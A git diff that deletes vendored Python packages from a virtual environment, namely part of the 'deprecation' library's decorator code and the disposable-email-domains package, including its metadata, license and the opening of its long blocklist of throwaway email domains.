module, which is a subclass of the built-in - :class:`DeprecationWarning`. Note that built-in - :class:`DeprecationWarning`s are ignored by default, so for users - to be informed of said warnings they will need to enable them--see - the :mod:`warnings` module documentation for more details. - - :param deprecated_in: The version at which the decorated method is - considered deprecated. This will usually be the - next version to be released when the decorator is - added. The default is **None**, which effectively - means immediate deprecation. If this is not - specified, then the `removed_in` and - `current_version` arguments are ignored. - :param removed_in: The version or :class:`datetime.date` when the decorated - method will be removed. The default is **None**, - specifying that the function is not currently planned - to be removed. - Note: This parameter cannot be set to a value if - `deprecated_in=None`. - :param current_version: The source of version information for the - currently running code. This will usually be - a `__version__` attribute on your library. - The default is `None`. - When `current_version=None` the automation to - determine if the wrapped function is actually - in a period of deprecation or time for removal - does not work, causing a - :class:`~deprecation.DeprecatedWarning` - to be raised in all cases. - :param details: Extra details to be added to the method docstring and - warning. For example, the details may point users to - a replacement method, such as "Use the foo_bar - method instead". By default there are no details. - """ - # You can't just jump to removal. It's weird, unfair, and also makes - # building up the docstring weird. - if deprecated_in is None and removed_in is not None: - raise TypeError("Cannot set removed_in to a value " - "without also setting deprecated_in") - - # Only warn when it's appropriate. There may be cases when it makes sense - # to add this decorator before a formal deprecation period begins. - # In CPython, PendingDeprecatedWarning gets used in that period, - # so perhaps mimick that at some point. - is_deprecated = False - is_unsupported = False - - # StrictVersion won't take a None or a "", so make whatever goes to it - # is at least *something*. Compare versions only if removed_in is not - # of type datetime.date - if isinstance(removed_in, date): - if date.today() >= removed_in: - is_unsupported = True - else: - is_deprecated = True - elif current_version: - current_version = version.parse(current_version) - - if (removed_in - and current_version >= version.parse(removed_in)): - is_unsupported = True - elif (deprecated_in - and current_version >= version.parse(deprecated_in)): - is_deprecated = True - else: - # If we can't actually calculate that we're in a period of - # deprecation...well, they used the decorator, so it's deprecated. - # This will cover the case of someone just using - # @deprecated("1.0") without the other advantages. - is_deprecated = True - - should_warn = any([is_deprecated, is_unsupported]) - - def _function_wrapper(function): - if should_warn: - # Everything *should* have a docstring, but just in case... - existing_docstring = function.__doc__ or "" - - # The various parts of this decorator being optional makes for - # a number of ways the deprecation notice could go. The following - # makes for a nicely constructed sentence with or without any - # of the parts. - - # If removed_in is a date, use "removed on" - # If removed_in is a version, use "removed in" - parts = { - "deprecated_in": - " %s" % deprecated_in if deprecated_in else "", - "removed_in": - "\n This will be removed {} {}.".format("on" if isinstance(removed_in, date) else "in", - removed_in) if removed_in else "", - "details": - " %s" % details if details else ""} - - deprecation_note = (".. deprecated::{deprecated_in}" - "{removed_in}{details}".format(**parts)) - - # default location for insertion of deprecation note - loc = 1 - - # split docstring at first occurrence of newline - string_list = existing_docstring.split("\n", 1) - - if len(string_list) > 1: - # With a multi-line docstring, when we modify - # existing_docstring to add our deprecation_note, - # if we're not careful we'll interfere with the - # indentation levels of the contents below the - # first line, or as PEP 257 calls it, the summary - # line. Since the summary line can start on the - # same line as the """, dedenting the whole thing - # won't help. Split the summary and contents up, - # dedent the contents independently, then join - # summary, dedent'ed contents, and our - # deprecation_note. - - # in-place dedent docstring content - string_list[1] = textwrap.dedent(string_list[1]) - - # we need another newline - string_list.insert(loc, "\n") - - # change the message_location if we add to end of docstring - # do this always if not "top" - if message_location != "top": - loc = 3 - - # insert deprecation note and dual newline - string_list.insert(loc, deprecation_note) - string_list.insert(loc, "\n\n") - - function.__doc__ = "".join(string_list) - - @functools.wraps(function) - def _inner(*args, **kwargs): - if should_warn: - if is_unsupported: - cls = UnsupportedWarning - else: - cls = DeprecatedWarning - - the_warning = cls(function.__name__, deprecated_in, - removed_in, details) - warnings.warn(the_warning, category=DeprecationWarning, - stacklevel=2) - - return function(*args, **kwargs) - return _inner - return _function_wrapper - - -def fail_if_not_removed(method): - """Decorate a test method to track removal of deprecated code - - This decorator catches :class:`~deprecation.UnsupportedWarning` - warnings that occur during testing and causes unittests to fail, - making it easier to keep track of when code should be removed. - - :raises: :class:`AssertionError` if an - :class:`~deprecation.UnsupportedWarning` - is raised while running the test method. - """ - # NOTE(briancurtin): Unless this is named test_inner, nose won't work - # properly. See Issue #32. - @functools.wraps(method) - def test_inner(*args, **kwargs): - with warnings.catch_warnings(record=True) as caught_warnings: - warnings.simplefilter("always") - rv = method(*args, **kwargs) - - for warning in caught_warnings: - if warning.category == UnsupportedWarning: - raise AssertionError( - ("%s uses a function that should be removed: %s" % - (method, str(warning.message)))) - return rv - return test_inner diff --git a/venv/Lib/site-packages/disposable_email_domains-0.0.238.dist-info/INSTALLER b/venv/Lib/site-packages/disposable_email_domains-0.0.238.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/disposable_email_domains-0.0.238.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/disposable_email_domains-0.0.238.dist-info/METADATA b/venv/Lib/site-packages/disposable_email_domains-0.0.238.dist-info/METADATA deleted file mode 100644 index 7509ac12e968bbc3913133eeeabfe617d906fc08..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/disposable_email_domains-0.0.238.dist-info/METADATA +++ /dev/null @@ -1,50 +0,0 @@ -Metadata-Version: 2.4 -Name: disposable-email-domains -Version: 0.0.238 -Summary: A set of disposable email domains -Author-email: Dustin Ingram -License-Expression: MIT -Project-URL: Homepage, https://github.com/disposable-email-domains/disposable-email-domains -Keywords: disposable,email,domains,blocklist -Classifier: Development Status :: 3 - Alpha -Classifier: Intended Audience :: Developers -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.13 -Classifier: Programming Language :: Python :: 3.14 -Classifier: Typing :: Typed -Description-Content-Type: text/markdown -License-File: LICENSE.txt -Provides-Extra: dev -Requires-Dist: check-manifest; extra == "dev" -Dynamic: license-file - -# Disposable Email Domains - -This module provides a set of known disposable email domains. - -## Usage - -The blocklist is a Python `set` containing all domains in the blocklist: - -```python ->>> from disposable_email_domains import blocklist ->>> 'bearsarefuzzy.com' in blocklist -True -``` - -The domains are guaranteed to be fully lowercased and stripped of whitespace. - -## Source - -The source of this list is the [disposable-email-domains][1] project. - -This module attempts to provide a mirror of that project as a Python module. - -If you feel a domain should or shouldn't be on the blocklist, you are -encouraged to make a pull request against the [source repository][2] - -[1]: https://github.com/disposable-email-domains/disposable-email-domains -[2]: https://github.com/disposable-email-domains/disposable-email-domains diff --git a/venv/Lib/site-packages/disposable_email_domains-0.0.238.dist-info/RECORD b/venv/Lib/site-packages/disposable_email_domains-0.0.238.dist-info/RECORD deleted file mode 100644 index d92ef6dfa8fc60ec9842ef2c9478d119a79de742..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/disposable_email_domains-0.0.238.dist-info/RECORD +++ /dev/null @@ -1,10 +0,0 @@ -disposable_email_domains-0.0.238.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -disposable_email_domains-0.0.238.dist-info/METADATA,sha256=siNl4g64whgCrUoi-rfGPvHPzZhrwMkqa8Q_8cj1Tdk,1710 -disposable_email_domains-0.0.238.dist-info/RECORD,, -disposable_email_domains-0.0.238.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -disposable_email_domains-0.0.238.dist-info/WHEEL,sha256=YVMoNqKzERt-wjUZwJ33xBGAwnFl-4cqbYkTtWa4itE,91 -disposable_email_domains-0.0.238.dist-info/licenses/LICENSE.txt,sha256=2r-b4nngOhchMfSfs55Psw6JWQ88dEkVt4M3N3WvNrU,1080 -disposable_email_domains-0.0.238.dist-info/top_level.txt,sha256=Q23t4ClCGq7hSrt4tBjuqN55Sr1_e6YwptS82PV0Pv0,25 -disposable_email_domains/__init__.py,sha256=-DIZfNiWXpVGFYnBO-KMfVi9xoIksi1wfH_tJvCS61E,175355 -disposable_email_domains/__pycache__/__init__.cpython-314.pyc,, -disposable_email_domains/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 diff --git a/venv/Lib/site-packages/disposable_email_domains-0.0.238.dist-info/REQUESTED b/venv/Lib/site-packages/disposable_email_domains-0.0.238.dist-info/REQUESTED deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/disposable_email_domains-0.0.238.dist-info/WHEEL b/venv/Lib/site-packages/disposable_email_domains-0.0.238.dist-info/WHEEL deleted file mode 100644 index 13013d7b49be5a84c3ee5931b06285b9553cf5d0..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/disposable_email_domains-0.0.238.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: setuptools (84.0.0) -Root-Is-Purelib: true -Tag: py3-none-any - diff --git a/venv/Lib/site-packages/disposable_email_domains-0.0.238.dist-info/licenses/LICENSE.txt b/venv/Lib/site-packages/disposable_email_domains-0.0.238.dist-info/licenses/LICENSE.txt deleted file mode 100644 index 4549515f0ebe533711dc76e613d814395985e447..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/disposable_email_domains-0.0.238.dist-info/licenses/LICENSE.txt +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2016 Dustin Ingram - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/venv/Lib/site-packages/disposable_email_domains-0.0.238.dist-info/top_level.txt b/venv/Lib/site-packages/disposable_email_domains-0.0.238.dist-info/top_level.txt deleted file mode 100644 index 5ba6de57e4cb846e3f58f36668a2a7003de09fda..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/disposable_email_domains-0.0.238.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -disposable_email_domains diff --git a/venv/Lib/site-packages/disposable_email_domains/__init__.py b/venv/Lib/site-packages/disposable_email_domains/__init__.py deleted file mode 100644 index 0d9817ea196fb9cf628ad9809313076979a96887..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/disposable_email_domains/__init__.py +++ /dev/null @@ -1,8267 +0,0 @@ -blocklist = { - '0-mail.com', - '0-mailer.dynv6.net', - '000-webmail.myhome-server.de', - '000000000000000.theworkpc.com', - '000000000000000000.dynv6.net', - '000webmail.ddnss.de', - '000webmail.ddnss.org', - '000webmail.dyn-ip24.de', - '000webmail.dyn.ddnss.de', - '000webmail.dyn.home-webserver.de', - '000webmail.dyndns.ddnss.de', - '000webmail.dyndns1.de', - '000webmail.home-webserver.de', - '00jac.com', - '01022.hk', - '010530.xyz', - '01130.hk', - '020307.xyz', - '027168.com', - '045692.xyz', - '062e.com', - '0815.ru', - '0815.su', - '0845.ru', - '092088.xyz', - '0box.eu', - '0cd.cn', - '0clickemail.com', - '0cpub2.tech', - '0n0ff.net', - '0nelce.com', - '0rg.fr', - '0v.ro', - '0w.ro', - '0wnd.net', - '0wnd.org', - '0x207.info', - '1-8.biz', - '1-mintue-mail.ddnsgeek.com', - '1-second-mail.site', - '1-tm.com', - '10-minute-mail.com', - '1000acres.co.uk', - '1000rebates.stream', - '100likers.com', - '103.ink', - '105kg.ru', - '10dk.email', - '10inbox.online', - '10mail.com', - '10mail.org', - '10mail.tk', - '10mail.xyz', - '10minemail.com', - '10minmail.de', - '10minmail.org', - '10minut.com.pl', - '10minut.xyz', - '10minute.email', - '10minutemail.be', - '10minutemail.cf', - '10minutemail.co.uk', - '10minutemail.co.za', - '10minutemail.com', - '10minutemail.de', - '10minutemail.ga', - '10minutemail.gq', - '10minutemail.ml', - '10minutemail.net', - '10minutemail.nl', - '10minutemail.pro', - '10minutemail.us', - '10minutemailbox.com', - '10minutemails.in', - '10minutenemail.de', - '10minutenmail.xyz', - '10minutesmail.com', - '10minutesmail.fr', - '10minutmail.pl', - '10x9.com', - '1111111111111.dynv6.net', - '11163.com', - '11166666.xyz', - '114514279.xyz', - '115yu.cc.cd', - '123-m.com', - '12312312312.cfd', - '123312.cc.cd', - '1234211.xyz', - '123456789.life', - '123clone.com', - '123mails.org', - '12bclass.us', - '12friday.space', - '12hosting.net', - '12houremail.com', - '12minutemail.com', - '12minutemail.net', - '12storage.com', - '130723.xyz', - '13282298.xyz', - '1337.care', - '13512863687.store', - '140unichars.com', - '142code.me', - '147.cl', - '14club.org.uk', - '14n.co.uk', - '151668.xyz', - '15553.eu.cc', - '15555.eu.cc', - '15557.eu.cc', - '15963.fr.nf', - '15qm.com', - '164109038.xyz', - '16816889.xyz', - '179297.xyz', - '1820mail.vip', - '189.email', - '18t5b.shop', - '191117636.cfd', - '191mariobet.com', - '199411.store', - '1blackmoon.com', - '1ce.us', - '1chuan.com', - '1clck2.com', - '1fsdfdsfsdf.tk', - '1mail.ml', - '1nom.org', - '1pad.de', - '1s.fr', - '1sec.site', - '1secmail.com', - '1secmail.net', - '1secmail.org', - '1secmail.space', - '1secmail.website', - '1st-forms.com', - '1sworld.com', - '1t-mail.com', - '1to1mail.org', - '1trick.net', - '1usemail.com', - '1webmail.info', - '1win.life', - '1xp.fr', - '1zhuan.com', - '2-b.icu', - '200192.indevs.in', - '20030310.com', - '2003066.xyz', - '2012-2016.ru', - '20253025.xyz', - '20260501.ccwu.cc', - '20260503.ccwu.cc', - '2048unblocked.com', - '20email.eu', - '20email.it', - '20mail.eu', - '20mail.in', - '20mail.it', - '20minutemail.com', - '20minutemail.it', - '20minutesmail.com', - '20mm.eu', - '2120001.net', - '216222.xyz', - '21cn.com', - '21mail.top', - '2200freefonts.com', - '22345377.xyz', - '2333.live', - '247web.net', - '24faw.com', - '24hinbox.com', - '24hourmail.com', - '24hourmail.net', - '24mail.top', - '25kcreditveo3.io.vn', - '25kg2gveo3.io.vn', - '25kmans.io.vn', - '25kmembers.io.vn', - '25kseller.io.vn', - '25kselll.io.vn', - '25kveo.io.vn', - '25kveo3.io.vn', - '25kvideo.io.vn', - '25u.com', - '269966.xyz', - '2932919455.dynv6.net', - '2anom.com', - '2chmail.net', - '2ether.net', - '2fdgdfgdfgdf.tk', - '2mail.eu.cc', - '2odem.com', - '2prong.com', - '2wc.info', - '300book.info', - '30mail.ir', - '30minutemail.com', - '30wave.com', - '3202.com', - '32132.ccwu.cc', - '326645.indevs.in', - '326646.indevs.in', - '326646302.indevs.in', - '3333366.xyz', - '3435637.xyz', - '365boxmail.com', - '36duongtau.live', - '36ru.com', - '39393.eu.cc', - '39393.me', - '3a88.dev', - '3bbb.cc.cd', - '3d-painting.com', - '3dkai.com', - '3fdn.com', - '3jf.cn', - '3l6.com', - '3littlemiracles.com', - '3mail.ga', - '3trtretgfrfe.tk', - '3xu.studio', - '4-n.us', - '401010.xyz', - '4057.com', - '415dacjder.qzz.io', - '418.dk', - '42o.org', - '42web.io', - '45kg2gveo3.io.vn', - '45kselller.io.vn', - '45kveo.io.vn', - '45kveo3.io.vn', - '48dz.com', - '48hr.email', - '497000.xyz', - '499713376.xyz', - '4bbb.cc.cd', - '4gfdsgfdgfd.tk', - '4k5.net', - '4mail.cf', - '4mail.ga', - '4nextmail.com', - '4nmv.ru', - '4pu.com', - '4save.net', - '4tb.host', - '4warding.com', - '4warding.net', - '4warding.org', - '50set.ru', - '51baidu.tech', - '521883.xyz', - '522885.xyz', - '52mails.com', - '55hosting.net', - '5ghgfhfghfgh.tk', - '5gramos.com', - '5ixmonth.xyz', - '5july.org', - '5mail.cf', - '5mail.ga', - '5minutemail.net', - '5oz.ru', - '5semail.com', - '5tb.in', - '5x25.com', - '5xu.vn', - '5y.loseyourip.com', - '5yaochu.top', - '5ymail.com', - '60minutemail.com', - '628868.xyz', - '636364.xyz', - '66-77.cc', - '662602718.xyz', - '668fmail.com', - '672643.net', - '675hosting.com', - '675hosting.net', - '675hosting.org', - '67899vip.com', - '681mail.com', - '689345.xyz', - '6974.click', - '6gdfg.zone.id', - '6hjgjhgkilkj.tk', - '6ip.us', - '6mail.cf', - '6mail.ga', - '6mail.ml', - '6n9.net', - '6paq.com', - '6somok.ru', - '6th.pp.ua', - '6url.com', - '6ys.tech', - '709183.freeddns.org', - '719182.accesscam.org', - '729406.xyz', - '7362354.xyz', - '75hosting.com', - '75hosting.net', - '75hosting.org', - '78.edu.kg', - '78.school', - '78511939.xyz', - '792792.xyz', - '794613.accesscam.org', - '7days-printing.com', - '7mail.ga', - '7mail.ml', - '7novels.com', - '7tags.com', - '7xusq8vbim5d47.icu', - '80665.com', - '80fight.cn', - '8127ep.com', - '816qs.com', - '862808.xyz', - '875888.xyz', - '88cloud.cc', - '8d7kh.com', - '8mail.cf', - '8mail.ga', - '8mail.ml', - '911666.xyz', - '912684.abrdns.com', - '91tanhua.top', - '920325.xyz', - '931123.xyz', - '971007.xyz', - '981027.xyz', - '98104.cn', - '99.com', - '992551.xyz', - '99cows.com', - '99experts.com', - '99mail.us', - '9mail.cf', - '9me.site', - '9mot.ru', - '9ox.net', - '9q.ro', - 'a--i.top', - 'a-bc.net', - 'a-germandu.de', - 'a45.in', - 'a7996.com', - 'aa5zy64.com', - 'aaago.cyou', - 'aabkmail.com', - 'aachendate.de', - 'aaconservation.org', - 'aakk.link', - 'aakkmail.com', - 'aaoo.me', - 'aaqwe.ru', - 'aaqwe.store', - 'aard.org.uk', - 'aasdarq.eu.cc', - 'aasdasd.eu.cc', - 'abacuswe.us', - 'abakiss.com', - 'abatido.com', - 'abc179312.shop', - 'abcmail.email', - 'aberllefenni.co.uk', - 'abevw.com', - 'abilityaccesslegal.org', - 'abilitywe.us', - 'abo-free.fr.nf', - 'aboodbab.com', - 'abouse.space', - 'abovewe.us', - 'absolutewe.us', - 'abundantwe.us', - 'abusemail.de', - 'abuser.eu', - 'abyis.com', - 'abyssmail.com', - 'ac-malin.fr.nf', - 'ac20mail.in', - 'academiccommunity.com', - 'academywe.us', - 'acanok.com', - 'acc1s.com', - 'acc1s.net', - 'accclone.com', - 'acceleratewe.us', - 'accentwe.us', - 'acceptwe.us', - 'accis.net', - 'acclaimwe.us', - 'accordwe.us', - 'accountscenter.support', - 'accreditedwe.us', - 'acdag.indevs.in', - 'acedby.com', - 'acg-news.com', - 'acgdb.eu.org', - 'acgn.click', - 'acgnnews.com', - 'achievementwe.us', - 'achievewe.us', - 'acidservices.xyz', - 'acornwe.us', - 'acqq.dev', - 'acreadingroom.co.uk', - 'acrossgracealley.com', - 'acrylicwe.us', - 'actarus.infos.st', - 'activatewe.us', - 'activitywe.us', - 'acucre.com', - 'acuitywe.us', - 'acumenwe.us', - 'ad-managment.run.place', - 'adaptivewe.us', - 'adaptwe.us', - 'adarsa.me', - 'add3000.pp.ua', - 'addadsasd.icu', - 'addictingtrailers.com', - 'addmails.com', - 'addrin.uk', - 'adeptwe.us', - 'adfskj.com', - 'adios.email', - 'adiq.eu', - 'aditus.info', - 'admiralwe.us', - 'adn3t.com', - 'ado888.biz', - 'adobeccepdm.com', - 'adoniswe.us', - 'ados.cc.cd', - 'adpugh.org', - 'adresse.infos.st', - 'adroh.com', - 'ads24h.top', - 'adsd.org', - 'adsensekorea.com', - 'adubiz.info', - 'adult-work.info', - 'adv-dep-eng.jo3.org', - 'advantagewe.us', - 'advantageyoungpeople.com', - 'advantimo.com', - 'adventurewe.us', - 'adventwe.us', - 'advisorwe.us', - 'advitise.com', - 'advocatewe.us', - 'adwaterandstir.com', - 'aecmedya.com', - 'aeerso.space', - 'aegde.com', - 'aegia.net', - 'aegiscorp.net', - 'aegiswe.us', - 'aelo.es', - 'aeonpsi.com', - 'aerionx25k.io.vn', - 'aeronyx.cfd', - 'aesel.me', - 'aetheron.cfd', - 'afarek.com', - 'afeeyah.store', - 'affecting.org', - 'affiliate-nebenjob.info', - 'affiliatedwe.us', - 'affilikingz.de', - 'affinitywe.us', - 'affluentwe.us', - 'affordablewe.us', - 'afgpuk.co.uk', - 'afia.pro', - 'afrobacon.com', - 'afse-gh.top', - 'aftercorporation.com', - 'afterhourswe.us', - 'afternea.sbs', - 'afw.fr.nf', - 'agallagher.id', - 'agedmail.com', - 'agencysq.store', - 'agendawe.us', - 'agentloop.sbs', - 'agger.ro', - 'agilewe.us', - 'agiuse.com', - 'agmbowie.com', - 'agorawe.us', - 'agri4life.io.vn', - 'agtx.net', - 'agylzuv.top', - 'ahavaexperience.com', - 'aheadwe.us', - 'ahem.email', - 'ahk.jp', - 'ahmadfamily.net', - 'ahmedkhlef.com', - 'ahvin.com', - 'ai100999.com', - 'aiaccount.click', - 'aiapes.publicvm.com', - 'aibase.bond', - 'aiclit.asia', - 'aidesign.work.gd', - 'aidesigner.2bd.net', - 'aifmusic.top', - 'aihubtools.space', - 'aikunkun.com', - 'ailicke.com', - 'aineapi.com', - 'aiphotoeditor.io', - 'aiphotoenhancer.me', - 'air2token.com', - 'aircourriel.com', - 'airmailbox.website', - 'airsworld.net', - 'aisub.store', - 'aisubpro.click', - 'aisubstore.click', - 'aisupply.click', - 'aiuu.tech', - 'aiworldx.com', - 'aixnv.com', - 'aizhongzhuan.cc', - 'ajaxapp.net', - 'ajinimoto.me', - 'ak6lay.shop', - 'akapost.com', - 'akbip.com', - 'akerd.com', - 'akfoin.us.ci', - 'akgq701.com', - 'akirapowered.com', - 'akmail.in', - 'akugu.com', - 'akunlama.com', - 'akunlemah.biz.id', - 'al-qaeda.us', - 'al1ya.app', - 'alarafoundation.com', - 'albill.com', - 'albionwe.us', - 'alchemywe.us', - 'aleh.de', - 'alfaceti.com', - 'alhsalumni.org', - 'aliaswe.us', - 'aliban.org', - 'alienware13.com', - 'aligamel.com', - 'alightmotion.cloud', - 'alightmotion.id', - 'alightmotion.top', - 'aligroup.uk', - 'alilot.com', - 'alin.cc.cd', - 'alin.eu.cc', - 'alina-schiesser.ch', - 'alisaol.com', - 'alisongamel.com', - 'alisree.com', - 'alivance.com', - 'alivewe.us', - 'all-cats.ru', - 'allaccesswe.us', - 'allamericanwe.us', - 'allaroundwe.us', - 'alldirectbuy.com', - 'allegiancewe.us', - 'allegrowe.us', - 'allemojikeyboard.com', - 'allfreemail.net', - 'allgoodwe.us', - 'alliancewe.us', - 'allinonewe.us', - 'allofthem.net', - 'alloutwe.us', - 'allowed.org', - 'alloywe.us', - 'allprowe.us', - 'allreview4u.com', - 'allseasonswe.us', - 'allstarwe.us', - 'allthegoodnamesaretaken.org', - 'allumhall.co.uk', - 'allurewe.us', - 'allwebemails.com', - 'almatips.com', - 'almiswelfare.org', - 'almondwe.us', - 'alosp.com', - 'alph.wtf', - 'alpha-web.net', - 'alphaomegawe.us', - 'alphatronic25k.io.vn', - 'alphax.fr.nf', - 'alpinewe.us', - 'alreval.com', - 'altairwe.us', - 'altitudewe.us', - 'altmails.com', - 'altrans.fr.nf', - 'altuswe.us', - 'aluimport.com', - 'alvaxio.com', - 'alves.fr.nf', - 'alwayss.uno', - 'ama-trade.de', - 'ama-trans.de', - 'amadeuswe.us', - 'amail.club', - 'amail.com', - 'amail1.com', - 'amail4.me', - 'amazinggift.life', - 'amazingly.online', - 'amazon-aws.org', - 'amberwe.us', - 'ambiancewe.us', - 'ambitiouswe.us', - 'ameady.com', - 'ameeppoossaa.dedyn.io', - 'amelabs.com', - 'americanawe.us', - 'americancivichub.com', - 'americasbestwe.us', - 'americaswe.us', - 'amex409.monster', - 'amicuswe.us', - 'amilegit.com', - 'aminating.com', - 'amiri.net', - 'amiriindustries.com', - 'amiyiy.xyz', - 'amplewe.us', - 'amplifiedwe.us', - 'amplifywe.us', - 'ampsylike.com', - 'anajakstore.site', - 'analogwe.us', - 'analysiswe.us', - 'analyticalwe.us', - 'analyticswe.us', - 'analyticwe.us', - 'anappfor.com', - 'anappthat.com', - 'anarac.com', - 'andalanglobal.app', - 'andreihusanu.ro', - 'andrewclaude.eu', - 'andrewclaude.fr', - 'andrewclaude.org', - 'andrewclaude.store', - 'andrewcluh.top', - 'androl.cfd', - 'andthen.us', - 'angiiidayyy.click', - 'anhiqojkaq1.abrdns.com', - 'anhvip9999.com', - 'animesos.com', - 'aniross.com', - 'anit.ro', - 'ankiclub.space', - 'ann.qzz.io', - 'annd.us', - 'annnekkk.com', - 'ano-mail.net', - 'anogz.com', - 'anon-mail.de', - 'anonbox.net', - 'anonmail.top', - 'anonmails.de', - 'anonymail.dk', - 'anonymbox.com', - 'anonymized.org', - 'anonymousness.com', - 'anotherdomaincyka.tk', - 'anquandx.com', - 'ansibleemail.com', - 'anthony-junkmail.com', - 'antireg.com', - 'antireg.ru', - 'antispam.de', - 'antispam.fr.nf', - 'antispam24.de', - 'antispammail.de', - 'antttool.us', - 'anversa.com.co', - 'anvjobvnu.top', - 'any.pink', - 'anyalias.com', - 'anypng.com', - 'anywebmail.com', - 'aoeuhtns.com', - 'aokkad.com', - 'aokkap.my.id', - 'aokkas.com', - 'ape-tech.run.place', - 'apedesigns.jo3.org', - 'apedesigns.linkpc.net', - 'apes-ai.linkpc.net', - 'apexnovaser.com', - 'apexone.top', - 'apfelkorps.de', - 'aphlog.com', - 'apimi.icu', - 'apkmd.com', - 'apocaw.com', - 'appc.se', - 'appinventor.nl', - 'appixie.com', - 'apple.edu.pl', - 'appmail.uk', - 'appremiums.pro', - 'apps.dj', - 'appzily.com', - 'aprinastore.web.id', - 'aprte.com', - 'aquaguide.ru', - 'ar26710.cc.cd', - 'arapgege.app', - 'arapps.me', - 'arcadein.com', - 'arcadium.lat', - 'arcentra.cfd', - 'ardsp.shop', - 'arduino.hk', - 'arenahiveai.com', - 'ares.edu.pl', - 'ariaz.jetzt', - 'arkoo.site', - 'armyspy.com', - 'aron.us', - 'arrabyte.com', - 'arroisijewellery.com', - 'art-en-ligne.pro', - 'arthiq.life', - 'artleoncommunications.com', - 'artman-conception.com', - 'artsdigi.store', - 'artsdigital.store', - 'arur01.tk', - 'arurgitu.gq', - 'arvato-community.de', - 'arxxwalls.com', - 'asaption.com', - 'aschenbrandt.net', - 'asciibinder.net', - 'asd903102.online', - 'asdascas.dpdns.org', - 'asdasd.nl', - 'asdasd.ru', - 'asdcxijkj.eu.cc', - 'asedeeqaweds.dedyn.io', - 'asgzs.top', - 'ashleyandrew.com', - 'ashnkarsh.life', - 'asia-hq.jo3.org', - 'asimarif.com', - 'asistx.net', - 'ask-mail.com', - 'asleepity.com', - 'asorent.com', - 'aspireviastudios.org', - 'ass.pp.ua', - 'assurmail.net', - 'astonut.tk', - 'astroempires.info', - 'asu.mx', - 'asu.su', - 'asurad.com', - 'at.hm', - 'at0mik.org', - 'atelierdelune.shop', - 'atlas4381.me', - 'atlasimple.com', - 'atmemail.top', - 'atnextmail.com', - 'atombomb.online', - 'attnetwork.com', - 'au1688x.us', - 'aubady.com', - 'augmentationtechnology.com', - 'aumails.us', - 'auralith.cfd', - 'aureliandata.space', - 'ausgefallen.info', - 'auth2fa.com', - 'auti.st', - 'autofixmax.com', - 'automisly.org', - 'automizelymail.info', - 'automizly.net', - 'autommo.net', - 'autorobotica.com', - 'autosouvenir39.ru', - 'autotwollow.com', - 'autowb.com', - 'autoxugiare.com', - 'autre.fr.nf', - 'autu11n.lol', - 'available-home.com', - 'avalentra.cfd', - 'averdov.com', - 'avia-tonic.fr', - 'avls.pt', - 'avtolev.com', - 'awa.pics', - 'awatum.de', - 'awdrt.org', - 'awesome47.com', - 'awesomesaucemail.org', - 'awgarstone.com', - 'awiki.org', - 'awoiiwowma11001.indevs.in', - 'aws-mail-2.dynv6.net', - 'aws-mail-free-1017.dynv6.net', - 'aws-mail-free-102.dynv6.net', - 'aws-mail-free-1056.dynv6.net', - 'aws-mail-free-1304.dynv6.net', - 'aws-mail-free-1705.dynv6.net', - 'aws-mail-free-1842.dynv6.net', - 'aws-mail-free-1884.dynv6.net', - 'aws-mail-free-2156.dynv6.net', - 'aws-mail-free-2236.dynv6.net', - 'aws-mail-free-2290.dynv6.net', - 'aws-mail-free-2383.dynv6.net', - 'aws-mail-free-2409.dynv6.net', - 'aws-mail-free-2454.dynv6.net', - 'aws-mail-free-2524.dynv6.net', - 'aws-mail-free-2704.dynv6.net', - 'aws-mail-free-2737.dynv6.net', - 'aws-mail-free-2775.dynv6.net', - 'aws-mail-free-2795.dynv6.net', - 'aws-mail-free-2845.dynv6.net', - 'aws-mail-free-2892.dynv6.net', - 'aws-mail-free-2906.dynv6.net', - 'aws-mail-free-2923.dynv6.net', - 'aws-mail-free-3038.dynv6.net', - 'aws-mail-free-3335.dynv6.net', - 'aws-mail-free-3381.dynv6.net', - 'aws-mail-free-3620.dynv6.net', - 'aws-mail-free-3711.dynv6.net', - 'aws-mail-free-3796.dynv6.net', - 'aws-mail-free-385.dynv6.net', - 'aws-mail-free-4014.dynv6.net', - 'aws-mail-free-4017.dynv6.net', - 